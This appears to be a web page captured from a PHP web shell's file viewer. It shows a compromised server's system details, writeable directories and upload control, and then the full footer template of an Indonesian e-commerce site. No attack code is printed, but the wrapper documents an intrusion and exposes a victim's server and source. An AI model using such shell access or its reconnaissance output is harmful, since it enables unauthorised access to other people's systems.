https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/views/themes/3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/views/themes/3/footer.php
<?php 
    $this->session->userdata('site_lang') == 'english' ? $this->lang->load('register_login', 'english') : $this->lang->load('register_login', 'indonesian');
?>

<!--=============================================
   =            footer area         =
   =============================================-->
<div class="footer-container footer-one pt-40 pb-40" style="padding-top:20px ; padding-bottom:20px ; ">
   <div class="container wide">
      <div class="row">
         <div class="col-md-5 col-xs-12 footer_logo_img" style=""> 
          <!-- <div> -->
            <a href="<?= base_url(); ?>">
              <img src="<?= base_url('uploads/'.$logo); ?>" class="img-fluid" alt="" style="bottom: 0;width: auto;">
            </a>
          <!-- </div> -->
           <!--=======  copyright text  =======-->
           <!--=======  logo  =======-->
           <!-- <div class="logo"> -->
              <!-- <img src="<?= base_url('themes/'.$theme.'/'); ?>assets/images/logo/LOGO_RABBITHABIT.png" class="img-fluid" alt="" style="width: 135px;position: relative;left:10px; top: 30px;"> -->
           <!-- </div> -->
           <!--=======  End of logo  =======-->
           <!--=======  End of copyright text  =======--> 
         </div>
         <div class="col-md-7">
            <div class="row">
               <div class="col-md-5 col-xs-12">
                  <div class="footer-subscription-widget">
                     <p class="subscription-subtitle" style="font-size: 14px; margin-bottom: 5px;">Join Our Mailing List</p>
                     <!--=======  subscription form  =======-->
                     
                     <div class="subscription-form">
                        <form action="https://rabbithabit.us4.list-manage.com/subscribe/post?u=763ca082e7204c3884414e1ec&amp;id=ac108ed1ba" name="mc-embedded-subscribe-form" target="_blank" novalidate method="post" id="mc-form" class="mc-form validate" style="position:relative; top:7px;">
                           <input required type="text" name="EMAIL" placeholder="YOUR EMAIL HERE" style="width: 170px;border: none; padding: 10px; font-size: 0.7em; height: 25px;background: white;font-family: 'rockwellregular'; letter-spacing: 2px;">
                           <button class="button btn-subscribe" name="subscribe"  type="submit" value="submit" style="line-height: 20px;height: 25px; font-size: 0.7em; position:relative; top:14px;">SUBMIT</button>
                        </form>
                     </div>

                     
                     <div class="footer-social-links">
                        <nav>
                           <ul style="display: inline-block;">
                              <li style="display: inline-block;">
                                 <p style="font-size: 13px; margin-top: 20px; margin-right: 10px">Connect To Us</p>
                              </li>
                              <li style="display: inline-block;">
                                <a target="_blank" href="<?= $configs->facebook; ?>"> <i class="fa fa-facebook" style="margin-top: -13px; font-size: 15px;"></i></a></li>
                              <li style="display: inline-block;">
                                <a target="_blank" href="<?= $configs->instagram; ?>"><i class="fa fa-instagram" style="margin-top: -13px;margin-left: -9px; font-size: 15px;"></i></a></li>
                           </ul>
                        </nav>
                     </div>
                     <!-- <div class="copyright-text">
                        <p style="font-size: 10px; margin-top: 5px;"> &copy; 2019 Rabbit Habit.</p>
                     </div> -->
                     <div class="mailchimp-alerts">
                        <div class="mailchimp-submitting"></div>
                        <!-- mailchimp-submitting end -->
                        <div class="mailchimp-success"></div>
                        <!-- mailchimp-success end -->
                        <div class="mailchimp-error"></div>
                        <!-- mailchimp-error end -->
                     </div>
                     <!-- mailchimp-alerts end -->
                  </div>
               </div>
              <?php $count = 0; ?>
              <?php foreach($footers as $footer) : ?>
                <?php 
                $count++; 
                $col_md_footer = '4';
                if($count == 2){
                  $col_md_footer = '3'; 
                }
                ?>

                <div class="col-md-<?= $col_md_footer; ?> footer-left-right">
                  <!-- <h3><?= ucwords($footer->title); ?></h3> -->
                  <div class="footer-nav-container" >
                     <nav>
                        <?= $footer->description; ?>
                        <!-- <ul>
                           <li><a style="position:relative; left:30px;" href="contact-us.php">CONTACT US</a></li>
                           <li><a style="position:relative; left:30px;" href="##">CAREER</a></li>
                           <li><a style="position:relative; left:30px;" href="faq.php">HOW TO ORDER</a></li>
                           <li><a style="position:relative; left:30px;" href="faq.php">SHIPPING</a></li>
                        </ul> -->
                     </nav>
                  </div>
                </div>
              <?php endforeach; ?>
               <!-- <div class="col-md-4">
                  <div class="footer-nav-container" >
                     <nav>
                        <ul>
                           <li><a style="position:relative; left:30px;" href="contact-us.php">CONTACT US</a></li>
                           <li><a style="position:relative; left:30px;" href="##">CAREER</a></li>
                           <li><a style="position:relative; left:30px;" href="faq.php">HOW TO ORDER</a></li>
                           <li><a style="position:relative; left:30px;" href="faq.php">SHIPPING</a></li>
                        </ul>
                     </nav>
                  </div>
               </div>
               <div class="col-md-3">
                  <div class="footer-nav-container">
                     <nav>
                        <ul>
                           <li><a href="##">STOCKISTS</a></li>
                           <li><a href="##">REVIEWS</a></li>
                           <li><a href="##">PRIVACY POLICY</a></li>
                           <li><a href="##">TERMS & CONDITIONS</a></li>
                        </ul>
                     </nav>
                  </div>
               </div> -->
            </div>
         </div>
      </div>
   </div>
</div>
<!--=====  End of footer area  ======-->
<!--=============================================
   =            overlay items         =
   =============================================-->
<!--=======  about overlay  =======-->
<div class="header-offcanvas about-overlay" id="about-overlay">
   <div class="overlay-close inactive"></div>
   <div class="overlay-content">
      <!--=======  close icon  =======-->
      <span class="close-icon" id="about-close-icon">
      <a href="javascript:void(0)">
      <i class="ti-close"></i>
      </a>
      </span>
      <!--=======  End of close icon  =======-->
      <!--=======  overlay content container  =======-->
      <div class="overlay-content-container d-flex flex-column justify-content-between h-100">
         <!--=======  widget wrapper  =======-->
         <div class="widget-wrapper">
            <!--=======  single widget  =======-->
            <div class="single-widget">
               <h2 class="widget-title">About Us</h2>
               <p>in Chinese folklore, rabbit often portrayed as a companion of the moon goddess.
                  Pounding medicine for the mortals.
               </p>
            </div>
            <!--=======  End of single widget  =======-->
         </div>
         <!--=======  End of widget wrapper  =======-->
         <!--=======  contact widget  =======-->
         <div class="contact-widget">
            <p class="email"><a href="mailto:info@rabbithabit.com">info@rabbithabit.com</a></p>
            <p class="phone">(+62) 123 567990</p>
            <div class="social-icons">
               <ul>
                  <li><a href="https://www.facebook.com" data-tippy="Facebook" data-tippy-inertia="true" data-tippy-animation="shift-away" data-tippy-delay="50" data-tippy-arrow="true" data-tippy-theme = "sharpborder"  target="_blank"><i class="fa fa-facebook"></i></a></li>
                  <li><a href="https://www.instagram.com" data-tippy="Instagram" data-tippy-inertia="true" data-tippy-animation="shift-away" data-tippy-delay="50" data-tippy-arrow="true" data-tippy-theme = "sharpborder" target="_blank"><i class="fa fa-instagram"></i></a></li>
               </ul>
            </div>
         </div>
         <!--=======  End of contact widget  =======-->
      </div>
      <!--=======  End of overlay content container  =======-->
   </div>
</div>
<!--=======  End of about overlay  =======-->
<!--=======  wishlist overlay  =======-->
<div class="wishlist-overlay" id="wishlist-overlay">
   <div class="wishlist-overlay-close inactive"></div>
   <div class="wishlist-overlay-content">
      <!--=======  close icon  =======-->
      <span class="close-icon" id="wishlist-close-icon">
      <a href="javascript:void(0)">
      <i class="ion-android-close"></i>
      </a>
      </span>
      <!--=======  End of close icon  =======-->
   </div>
</div>
<!--=======  End of wishlist overlay  =======-->
<!--=======  cart overlay  =======-->
<div class="cart-overlay" id="cart-overlay">
   <div class="cart-overlay-close inactive"></div>
   <div class="cart-overlay-content">
      <!--=======  close icon  =======-->
      <span class="close-icon" id="cart-close-icon">
      <a href="javascript:void(0)">
      <i class="ion-android-close"></i>
      </a>
      </span>
      <!--=======  End of close icon  =======-->
      <!--=======  offcanvas cart content container  =======-->
      <div class="offcanvas-cart-content-container">
         <h3 class="cart-title">Cart</h3>
         <div class="cart-product-wrapper">
            <div class="cart-product-container ps-scroll">
               <!--=======  single cart product  =======-->
               <div class="single-cart-product">
                  <span class="cart-close-icon">
                  <a href="##"><i class="ti-close"></i></a>
                  </span>
                  <div class="image">
                     <a href="#">
                     <img src="<?= base_url('themes/'.$theme.'/'); ?>assets/images/shop-product/perfumes-5-2-600x800.jpg" class="img-fluid" alt="">
                     </a>
                  </div>
                  <div class="content">
                     <h5><a href="#">Face Coesmetic 1</a></h5>
                     <p><span class="cart-count">2 x </span> <span class="discounted-price">Rp.180.000</span></p>
                  </div>
               </div>
               <!--=======  End of single cart product  =======-->
               <!--=======  single cart product  =======-->
               <div class="single-cart-product">
                  <span class="cart-close-icon">
                  <a href="##"><i class="ti-close"></i></a>
                  </span>
                  <div class="image">
                     <a href="#">
                     <img src="<?= base_url('themes/'.$theme.'/'); ?>assets/images/shop-product/perfumes-5-2-600x800.jpg" class="img-fluid" alt="">
                     </a>
                  </div>
                  <div class="content">
                     <h5><a href="#">Face Coesmetic 2</a></h5>
                     <p><span class="cart-count">2 x </span> <span class="discounted-price">Rp.220.000</span></p>
                  </div>
               </div>
               <!--=======  End of single cart product  =======-->
               <!--=======  single cart product  =======-->
               <div class="single-cart-product">
                  <span class="cart-close-icon">
                  <a href="##"><i class="ti-close"></i></a>
                  </span>
                  <div class="image">
                     <a href="#">
                     <img src="<?= base_url('themes/'.$theme.'/'); ?>assets/images/shop-product/perfumes-5-2-600x800.jpg" class="img-fluid" alt="">
                     </a>
                  </div>
                  <div class="content">
                     <h5><a href="#">Face Coesmetic 3</a></h5>
                     <p><span class="cart-count">2 x </span> <span class="discounted-price">Rp.800.000</span></p>
                  </div>
               </div>
               <!--=======  End of single cart product  =======-->
            </div>
            <!--=======  subtotal calculation  =======-->
            <p class="cart-subtotal">
               <span class="subtotal-title">Subtotal:</span>
               <span class="subtotal-amount">Rp.2.000.000</span>
            </p>
            <!--=======  End of subtotal calculation  =======-->
            <!--=======  cart buttons  =======-->
            <div class="cart-buttons">
               <!-- <a href="#">view cart</a> -->
               <a href="#">checkout</a>
            </div>
            <!--=======  End of cart buttons  =======-->
         </div>
      </div>
      <!--=======  End of offcanvas cart content container   =======-->
   </div>
</div>
<!--=======  End of cart overlay  =======-->
<!--=======  search overlay  =======-->
<div class="search-overlay" id="search-overlay">
   <!--=======  close icon  =======-->
   <span class="close-icon search-close-icon">
   <a href="javascript:void(0)"  id="search-close-icon">
   <i class="ti-close"></i>
   </a>
   </span>
   <!--=======  End of close icon  =======-->
   <!--=======  search overlay content  =======-->
   <!-- <div class="search-overlay-content">
      <div class="input-box">
          <form action="index.html">
              <input type="search" placeholder="Search Products...">
          </form>
      </div>
      <div class="search-hint">
          <span># Hit enter to search or ESC to close</span>
      </div>
      </div> -->
   <!--=======  End of search overlay content  =======-->
</div>
<!--=======  End of search overlay  =======-->
<!--=====  End of overlay items  ======-->
<!-- scroll to top  -->
<a href="#" class="scroll-top"></a>
<!-- end of scroll to top --> 

<?php if ($popup_active == 'yes'): ?>
  <script type="application/javascript" src='<?= base_url(); ?>assets/frontend/js/js.cookie.js'></script>
  <?php $ses_customer = $this->session->userdata('customer'); ?>
  <script>
      //*------HOME PAGE POPUP MODAL---------*/
      jQuery(document).ready(function() {
          <?php if ($ses_customer != NULL): ?> 
            localStorage.setItem("storage_dialog",'true');
          <?php else: ?> 
            localStorage.setItem("storage_dialog",'false');
          <?php endif; ?>
          var check_dialog = localStorage.getItem("storage_dialog");
          // console.log(<?= json_encode($ses_customer); ?>);
          jQuery(".btn-subscribe").click(function(){
            localStorage.setItem("storage_dialog",'true');
          });

          // localStorage.removeItem("storage_dialog");
          // alert(check_dialog);
          if (check_dialog == undefined || check_dialog == null || check_dialog == 'false') {
            // alert(check_dialog);
            // setTimeout(function() {
            //   jQuery('.customModalDialog').css({'display' : 'block'});
            // }, 5000);

            var windows = $(window);
            var screenSize = windows.width(); 
            /*----------  newsletter overlay close  ----------*/
            $("#newsletter-popup-close-icon").on("click", function(){
              $('body').removeClass('newsletter-overlay-active').addClass('newsletter-overlay-inactive');
              $('#newsletter-content').removeClass('show-popup').addClass('hide-popup');
            });

            var day_expired = <?= $popup->popup_day_expire; ?>; 
            if (!Cookies.get('popupAlreadyDisplay')) { 
              /*----------  newsletter popup  ----------*/ 
              if (screenSize >= 767) {
                $('#newsletter-popup-body').addClass('newsletter-overlay-active');

                setTimeout(function(){ 
                  $('#newsletter-content').addClass('show-popup');
                 }, 2000);
              }
              // setTimeout(function() { 
                // $('.customModalDialog').show();
              // }, 5000);
              Cookies.set('popupAlreadyDisplay', true
                <?php if($popup->popup_day_expire > 0) : ?>
                     , { expires: day_expired }
                <?php endif; ?>
              );     
            } else if (Cookies.get('popupAlreadyDisplay') && day_expired == 0) {
              /*----------  newsletter popup  ----------*/ 
              if (screenSize >= 767) {
                $('#newsletter-popup-body').addClass('newsletter-overlay-active');

                setTimeout(function(){ 
                  $('#newsletter-content').addClass('show-popup');
                 }, 2000);
              }  
              // setTimeout(function() {
                // $('.customModalDialog').show();
              // }, 5000);  
            }

            // jQuery('.customModalDialog .modalClose').click(function() {
            //     jQuery('.customModalDialog').hide();
            // });
          } 
      });        
  </script>   
<?php endif; ?>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/css/toastr.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/js/toastr.min.js"></script>

<script>
  
  // facebook ID
  window.fbAsyncInit = function() {
    FB.init({
      appId      : '2533406406918721', // pak markus
      // appId      : '1313328502190373', // bakri develop 2
      // appId      : '326228208271827', // bakri develop
      cookie     : true,
      xfbml      : true,
      version    : 'v6.0'
    });
      
    FB.AppEvents.logPageView();   
      
  };

  (function(d, s, id){
     var js, fjs = d.getElementsByTagName(s)[0];
     if (d.getElementById(id)) {return;}
     js = d.createElement(s); js.id = id;
     js.src = "https://connect.facebook.net/en_US/sdk.js";
     fjs.parentNode.insertBefore(js, fjs);
  }(document, 'script', 'facebook-jssdk'));

  function statusChangeCallback(response) {  
    // Called with the results from FB.getLoginStatus(). 
    console.log('statusChangeCallback');
    console.log(response);                   // The current login status of the person.
    if (response.status === 'connected') {   // Logged into your webpage and Facebook.
      console.log(response);  
    } else {                                 // Not logged into your webpage or we are unable to tell.
      // alert('Please log into this webpage.');
    }
  }


  function checkLoginState($ref_f) {               
    // Called when a person is finished with the Login Button.
    FB.getLoginStatus(function(response) {   
      // See the onlogin handler
      // statusChangeCallback(response);
      if (response.status == 'connected') {
        $ref_f(true); 
      }else{
        $ref_f(false); 
      }
    });
  }
  function fb_logout(){
    FB.logout(function(response) {
      window.location.href='<?= base_url('register/logout'); ?>';
      // alert('Logout Successfuly');
      // console.log(response);
      // user is now logged out
    });
  }
  function register_with_platform(res){
    // console.log(res);
    var blok_login = $(".blok_login");
    var blok_register = $(".blok_register");
    var form_register = blok_register.find("form");
    var name = blok_register.find("input[name='name']");
    var register_email = blok_register.find("input[name='register_email']");
    var blok_register_password = blok_register.find(".blok_register_password");
    var register_password = blok_register.find("input[name='register_password']");
    var blok_oauth = blok_register.find(".blok_oauth");

    var oauth_provider = res.provider.toLowerCase();
    var oauth_uid = res.id;

    blok_login.hide();
    blok_register.find(".register_or_connect").hide();
    blok_register.addClass("col-lg-12").removeClass("col-lg-6");
    blok_register.find(".register_title").html("CREATE AN ACCOUNT WITH "+res.provider.toUpperCase());

    name.val(res.name);
    register_email.val(res.email).attr("readonly",true);
    // register_password.removeAttr('required');
    // register_password.val('');
    // blok_register_password.hide();

    blok_oauth.html('<input type="hidden" name="oauth_provider" value="'+oauth_provider+'" /><input type="hidden" name="oauth_uid" value="'+oauth_uid+'" />');
    // alert(form_register.length);

  }
  function fb_login(){
    FB.login(
      function(response) { 
        if (response.authResponse) {
          // console.log('Welcome!  Fetching your information.... ');
          //console.log(response); // dump complete info
          access_token = response.authResponse.accessToken; //get access token
          user_id = response.authResponse.userID; //get FB UID

          FB.api('/me', {fields: 'id,name,email'}, 
            function(response2) {
              user_email = response.email; 
              // console.log(response);
              // console.log(response2);

              if (response.status == 'connected') {
                var res = {
                  accessToken : access_token,
                  id : response2.id,
                  name : response2.name,
                  email : response2.email,
                };

                check_account({
                  't_case' : 'facebook', 
                  'register_email' : response2.email,
                },function(ajax_res){
                  if (ajax_res.count == 0) {
                    res.provider = 'facebook';
                    register_with_platform(res); 
                  }else{
                    login_another_platform({
                      'email' : response2.email, 
                      'oauth_uid' : response2.id, 
                      'oauth_provider' : 'facebook',
                    },function(ajax_res_login){
                      window.location.href = ajax_res_login.to_page;
                    }); 
                    // login_another_platform
                  }
                }); 
                // alert('Tester Login FB..');
                // fb_logout();
                //get user email
                // you can store this data into your database
              }
                           
            }
          );

        } else {
          //user hit cancel button
          console.log('User cancelled login or did not fully authorize.'); 
        }
      }, 
      {
        auth_type: 'reauthenticate', 
        auth_nonce: '{random-nonce}', 
        scope: 'public_profile,email',
        // perms:'user_address, user_mobile_phone'
      },
    );
  }

  function check_account($pars,$res_f){ 
    if ($pars['<?= $this->security->get_csrf_token_name(); ?>'] == undefined) {
      $pars['<?= $this->security->get_csrf_token_name(); ?>'] = '<?= $this->security->get_csrf_hash(); ?>';
    }
    jQuery.ajax({
      'url'       : '<?= base_url(); ?>' + 'ajax/check_email', 
      'type'      : 'POST',   
      'dataType'  : 'JSON',   
      'data'      : $pars,
      'success'   : function(data) {
        $res_f(data);
      }
    });
  }

  function login_another_platform($pars,$res_f){ 
    if ($pars['<?= $this->security->get_csrf_token_name(); ?>'] == undefined) {
      $pars['<?= $this->security->get_csrf_token_name(); ?>'] = '<?= $this->security->get_csrf_hash(); ?>';
    }
    jQuery.ajax({
      'url'       : '<?= base_url(); ?>' + 'ajax/login_another_platform', 
      'type'      : 'POST',   
      'dataType'  : 'JSON',   
      'data'      : $pars,
      'success'   : function(data) {
        $res_f(data);
      }
    });
  } 

  // function onSignIn(googleUser) {
  //   // Useful data for your client-side scripts:
  //   var profile = googleUser.getBasicProfile();
  //   console.log("ID: " + profile.getId()); // Don't send this directly to your server!
  //   console.log('Full Name: ' + profile.getName());
  //   console.log('Given Name: ' + profile.getGivenName());
  //   console.log('Family Name: ' + profile.getFamilyName());
  //   console.log("Image URL: " + profile.getImageUrl());
  //   console.log("Email: " + profile.getEmail());

  //   // The ID token you need to pass to your backend:
  //   var id_token = googleUser.getAuthResponse().id_token;
  //   console.log("ID Token: " + id_token); 
  // }
  // function signOut_google() {
  //   var auth2 = gapi.auth2.getAuthInstance();
  //   auth2.signOut().then(function () {
  //     console.log('User signed out.');
  //   });
  // }

  //disabled inspect
  // document.addEventListener('contextmenu', function(e) {
  //   e.preventDefault();
  // });
  document.onkeydown = function(e) {
    if(event.keyCode == 123) {
       return false;
    }
    if(e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) {
       return false;
    }
    if(e.ctrlKey && e.shiftKey && e.keyCode == 'C'.charCodeAt(0)) {
       return false;
    }
    if(e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) {
       return false;
    }
    if(e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) {
       return false;
    }
  }
    
  jQuery(document).ready(function(){ 
      // fb_logout();
      $("#btn_logout").click(function(){
        checkLoginState(function(res_fb){
          if (res_fb == true) {
            fb_logout();
          }else{
            window.location.href='<?= base_url('register/logout'); ?>'; 
          }
        }); 
      });

      jQuery('<div class="<?= $v_wishlist; ?> medicine-love"  style="cursor: pointer;position: absolute;float: left;z-index: 1;width: 40px; margin-top: 10px;margin-left: 10px;"'+
          <?php if($this->session->userdata('customer')['customer_id']):?>
          'data-toast data-toast-type="success" data-toast-position="topRight" data-toast-icon="icon-circle-check" data-toast-title="ADD WISHLIST" data-toast-message="successfuly added to wishlist!"'+ 
          <?php endif; ?>
          ' id="">'+
          '<i class="far fa-heart fa-2x love-product"></i>'+ 
        '</div>').insertBefore(
          'div.product_browse ul.clearfix li div.product_browse_img'
      ); 
  }); 

  function ajax_add_wishlist_fs6(id_product) {
    jQuery.ajax({
      'url'  : "<?= base_url().'wishlist/add_wishlist'; ?>", 
      'type' : 'POST',
      'data' : {
          'id_product' : id_product,
          '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
      }, 
      'success'   : function(result) {
          toastr.options = {
            "closeButton": false,
            "debug": false,
            "newestOnTop": false,
            "progressBar": false,
            "positionClass": "toast-top-right",
            "preventDuplicates": false,
            "onclick": null,
            "showDuration": "300",
            "hideDuration": "1000",
            "timeOut": "5000",
            "extendedTimeOut": "1000",
            "showEasing": "swing",
            "hideEasing": "linear",
            "showMethod": "fadeIn",
            "hideMethod": "fadeOut"
          }

          toastr["success"]("successfuly added to wishlist!",'ADD WISHLIST');
      }
    });
  } 
  
  function view_pass(trg){
      if(jQuery(trg).get(0).type === 'password' ){
          // $(trg).removeAttr("type").attr("type","text");
          jQuery(trg).get(0).type = 'text';
      }else{
          jQuery(trg).get(0).type = 'password';

      }
  }

  jQuery(document).ready(function($) {
      if ($(".open_password").length>0) {
          var open_pass = $(".open_password");
          open_pass.click(function(ev){
              var t = $(this);
              var t_icon = t.find("i.i_con");
              var target_input = t.parent().find("input.target_open_password");

              if (t_icon.hasClass("fa-eye")) {
                  target_input.attr('type','text');
                  t_icon.removeClass("fa-eye").addClass("fa-eye-slash");
              }else{
                  target_input.attr('type','password');
                  t_icon.removeClass("fa-eye-slash").addClass("fa-eye"); 
              }

          });
      }
      $(".top_right_menu a.nav-link.dropdown-toggle").click(function(ev){
          var dv_dropdown = $(this).parents("li.nav-item.dropdown").find("div.dropdown-menu");
          if (dv_dropdown.is(":hidden")) {
              dv_dropdown.show();
          }else{
              dv_dropdown.hide();
          }
          ev.stopPropagation();
          ev.preventDefault();
      });
      $(".top_right_menu li.nav-item.dropdown:eq(0) div.dropdown-menu").click(function(ev){
          ev.stopPropagation(); 
      });

      $(window).click(function() {
          var dv_dropdown = $(".top_right_menu li.nav-item.dropdown:eq(0) div.dropdown-menu");

          if (!dv_dropdown.is(":hidden")) { 
              dv_dropdown.hide();
          }
      });
      // alert($('a.togglePassword').length);
      if(jQuery('a.togglePassword_footer').length == 1){
          jQuery('a.togglePassword_footer').click(function(){
              view_pass('input.register_password_footer');  
          });
      }
      jQuery("a#a_forgot_pass").click(function(){
          sessionStorage.setItem("click_forgotPass","true");
          window.location.href="<?= base_url(); ?>" + 'login';
          return false;
      });
      //initial load cart and get cart count
      jQuery.ajax({
          'url'       : '<?= base_url(); ?>' + 'ajax/ajax_get_cart', 
          'type'      : 'POST',   
          'data'      : {
                        '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
                        },
          'success'   : function(data) {
              if(data) {
                /*---success----*/
                var cart = JSON.parse(data); 
                jQuery('#cart_body').html(cart.cart_content); 
                jQuery('#cartCount').html(cart.cart_count);
                // if(cart.cart_count == 0) {
                //     jQuery('#processCheckout').hide();
                // } else {
                //     jQuery('#processCheckout').show();
                // }
              };
          }
      });
     
  });      
</script>

<!-- Popper JS -->
<script src="<?= base_url('themes/'.$theme.'/'); ?>assets/js/popper.min.js"></script>

<!-- Bootstrap JS -->
<script src="<?= base_url('themes/'.$theme.'/'); ?>assets/js/bootstrap.min.js"></script>

<!-- Plugins JS -->
<script src="<?= base_url('themes/'.$theme.'/'); ?>assets/js/plugins.js"></script>

<!-- Main JS -->
<script src="<?= base_url('themes/'.$theme.'/'); ?>assets/js/main.js"></script>


<!-- SLIDER REVOLUTION 5.0 EXTENSIONS  (Load Extensions only on Local File Systems !  The following part can be removed on Server for On Demand Loading) --> 
<?php if ($_SERVER['REQUEST_URI'] != '/shipping'): ?>
  <script type="text/javascript" src="<?= base_url('themes/'.$theme.'/'); ?>assets/revolution/js/extensions/revolution.extension.kenburn.min.js"></script>
  <script type="text/javascript" src="<?= base_url('themes/'.$theme.'/'); ?>assets/revolution/js/extensions/revolution.extension.slideanims.min.js"></script>
  <script type="text/javascript" src="<?= base_url('themes/'.$theme.'/'); ?>assets/revolution/js/extensions/revolution.extension.actions.min.js"></script>
  <script type="text/javascript" src="<?= base_url('themes/'.$theme.'/'); ?>assets/revolution/js/extensions/revolution.extension.layeranimation.min.js"></script>
  <script type="text/javascript" src="<?= base_url('themes/'.$theme.'/'); ?>assets/revolution/js/extensions/revolution.extension.navigation.min.js"></script>
  <script type="text/javascript" src="<?= base_url('themes/'.$theme.'/'); ?>assets/revolution/js/extensions/revolution.extension.parallax.min.js"></script>
<?php endif; ?> 

<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>

<script type="text/javascript">
AOS.init({
    duration : 2500,
})
</script>   
  <!-- Start of  Zendesk Widget script -->
  <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=b38584d1-3894-4581-979c-c8ee4c9cb880"> </script>
<!-- End of  Zendesk Widget script --> 

</body>
</html>

https://t.me/RX1948 - 2025